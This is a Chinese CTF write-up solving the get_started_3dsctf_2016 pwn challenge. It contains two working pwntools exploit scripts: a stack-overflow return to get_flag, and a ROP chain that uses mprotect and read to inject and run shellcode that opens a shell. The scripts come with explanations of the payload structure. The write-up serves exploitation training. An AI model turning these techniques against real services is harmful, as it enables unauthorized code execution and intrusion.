get_started_3dsctf_2016
0x00 逆向
可以看到只要在main构造栈溢出,然后跳转到get_flag即可
0x01 脚本攻击
方法1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',25560)
elf = ELF('./get_started_3dsctf_2016')
get_flag = 0x80489A0
main = 0x8048A20
fakeebp = 0x0804E6A0
payload = 'A' * 56 + p32(get_flag) + p32(fakeebp) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
print(io.recv())
io.interactive()
先用‘A’*56构造栈溢出,然后将返回地址改为get_flag函数,传入一个假的ebp,然后传入get_flag的参数a1,a2。
要特别注意一点,这里的fakeebp不能随意填写,如果远程程序异常结束它是不会给回显的,因此一定要在fakeebp内填exit的地址,使程序能够正常结束。
方法2
from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',28526)
elf = ELF('./get_started_3dsctf_2016')
bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5
payload = 'A' * 0x38 + p32(elf.sym['mprotect']) + p32(pop_ebx_esi_edi_ret) + p32(bss) + p32(0x2c) + p32(7)
payload += p32(elf.sym['read']) + p32(bss) + p32(0) + p32(bss) + p32(0x2c)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
网上很多大佬都采用了这个办法,因为他们使用方法1的时候没有考虑到返回地址改为exit。
但是这个方法感觉也挺有用,所以我也来学习一下。
payload的第一行的含义分别是:
用A构造栈溢出 返回地址覆盖为mprotect 当前函数执行完返回到三个pop 从bss地址开始 写0x2c个地址 权限改为可读可写可执行
第二行的含义:
跳转到read函数 函数执行完跳转到bss执行 对程序写 写到bss地址 写0x2c个地址
第二个payload
获取shell权限对应的汇编代码(长度为0x2c)
写完以后,read就会在bss写入shell代码,然后因为函数执行完从bss地址开始执行,从而获得shell权限。
这里有个难以理解的点是为什么要返回到三个pop?
通常来说一个函数call了另一个函数,那当被call的函数执行完毕以后,原函数会自动清除被call函数的参数,但是我们是通过栈溢出构造的函数帧,所以只能通过手动弹出来保持栈平衡。
这里如果3pop那边直接填read地址的话,那read函数的参数就会变成 0x2c 7 bss,无法正常执行。